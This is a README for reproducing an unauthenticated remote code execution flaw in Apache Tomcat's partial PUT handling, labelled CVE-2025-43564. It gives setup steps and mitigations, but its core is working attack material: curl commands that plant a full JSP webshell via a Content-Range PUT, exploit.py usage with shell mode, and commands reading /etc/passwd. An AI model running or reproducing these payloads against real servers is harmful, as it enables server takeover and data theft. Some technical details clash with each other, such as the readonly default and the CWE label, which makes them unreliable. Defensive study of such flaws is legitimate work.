
Reproduction of cve-2025-43564-tomcat_put_rce_reproduction
| Field | Value |
|---|---|
| CVE ID | CVE-2025-43564 |
| CVSS Score | 9.8 (CRITICAL) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — Download of Code Without Integrity Check |
| Exploitation | Confirmed in the wild within one week of disclosure |
| Disclosure | July 2025 |
| Patch | Tomcat 11.0.6, 10.1.40, 9.0.102 |
CVE-2025-43564 is a critical unauthenticated remote code execution vulnerability in Apache Tomcat's HTTP partial PUT request handling. The flaw resides in the way Tomcat processes PUT requests with partial content (HTTP/1.1 Content-Range or Transfer-Encoding: chunked with partial semantics). An attacker can craft a partial PUT request that bypasses access controls and write constraints, allowing the upload of arbitrary files — including web-accessible JSP webshells — to the server's document root or any writable directory reachable via the servlet context.
Once a JSP file is planted, the attacker simply requests it and passes operating system commands via query parameters, achieving fully unauthenticated remote code execution as the Tomcat process user.
CVSS 9.8 — Critical because:
Apache Tomcat's DefaultServlet and the HTTP/1.1 connector (NIO/NIO2/Apr) handle PUT requests for static resource upload. The vulnerability is in the partial PUT request handling logic: when a client sends a PUT with a Content-Range header (RFC 7233 §4.2) or uses chunked encoding with specific partial semantics, the server does not properly validate:
The parsing code in org.apache.catalina.servlets.DefaultServlet and the underlying HttpInput / SocketProcessorBase components mishandle the boundary between partial content writes and full resource writes, allowing an attacker to append or overwrite arbitrary content to any path that the Tomcat process has write access to.
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[JSP payload bytes]
└──► Server writes partial content to exec.jsp
without full validation of the target path
Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP executes → RCE
The attacker sends a partial PUT with a Content-Range header that causes Tomcat to believe the request is a continuation of an existing upload. The server creates or opens the target file and writes the supplied bytes without verifying that the file already exists, without checking write permissions at write-time, and without sanitizing the target path relative to the web root.
readonly=false on the DefaultServlet for standard PUT to work. The partial PUT path skips this check under certain conditions.Content-Range often evades these signatures.Note: Older branches (7.x, 8.x, 8.5.x, 10.0.x) are EOL and will not receive a backport. Users must upgrade to a supported branch.
Download a vulnerable Apache Tomcat (e.g., Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
Extract and start Tomcat with default configuration:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # or startup.bat on Windows
Verify the server is running:
curl -v http://localhost:8080
Upload the JSP webshell using the PoC script:
python exploit.py --target http://localhost:8080 --cmd id
Verify the webshell was planted:
curl http://localhost:8080/exec.jsp?cmd=whoami
Execute arbitrary commands:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
Interactive session (if desired):
python exploit.py --target http://localhost:8080 --shell
The included exploit.py is a functional Python PoC that:
Content-Type header and payload structure trigger the vulnerable code pathwebapps/ROOT/)exec.jsp?cmd=<command> to execute OS commands--cmd) and interactive shell (--shell) modes# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"
If Tomcat is configured with readonly=true (default), the standard PUT is blocked — but the partial PUT path may still succeed. This is the core of the vulnerability.
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden
# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
--data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK
Update Tomcat to the patched version:
If immediate patching is not possible, disable the PUT method globally by editing web.xml:
<security-constraint>
<web-resource-collection>
<web-resource-name>Disable PUT</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
Block HTTP methods at the reverse proxy / WAF level:
# nginx example — block PUT
if ($request_method = PUT) {
return 403;
}
Note: This only helps if the proxy is not bypassable.
Run Tomcat with restricted file system permissions:
webapps directory read-only (or mount it from a read-only filesystem)ReadOnly file attributes on production assetsMonitor for unexpected files with .jsp / .jspx extensions in the web root.
This repository is provided for educational and authorized security testing purposes only. You must have explicit written permission from the owner of any system you test. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws in other jurisdictions. The authors assume no liability for misuse of this information.
CVE-2025-43564 was discovered and reported responsibly to the Apache Security Team. Patch coordinated release: July 2025.
| Product | Affected Versions | Fixed In |
|---|
| Apache Tomcat 11 | 11.0.0-M1 through 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 through 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | all versions (end of life) | upgrade to 10.1.x |
| Apache Tomcat 9 | 9.0.0-M1 through 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | all versions (end of life) | upgrade to 9.0.x |
| Apache Tomcat 8 | all versions (end of life) | upgrade to 9.0.x |
| Apache Tomcat 7 | all versions (end of life) | upgrade to 9.0.x |
| Source | URL |
|---|
| Apache Tomcat Security Announcement | https://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819 |
| NVD Entry | https://nvd.nist.gov/vuln/detail/CVE-2025-43564 |
| MITRE CVE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564 |
| Apache Tomcat Downloads | https://tomcat.apache.org/download-90.cgi |
| CWE-494 | https://cwe.mitre.org/data/definitions/494.html |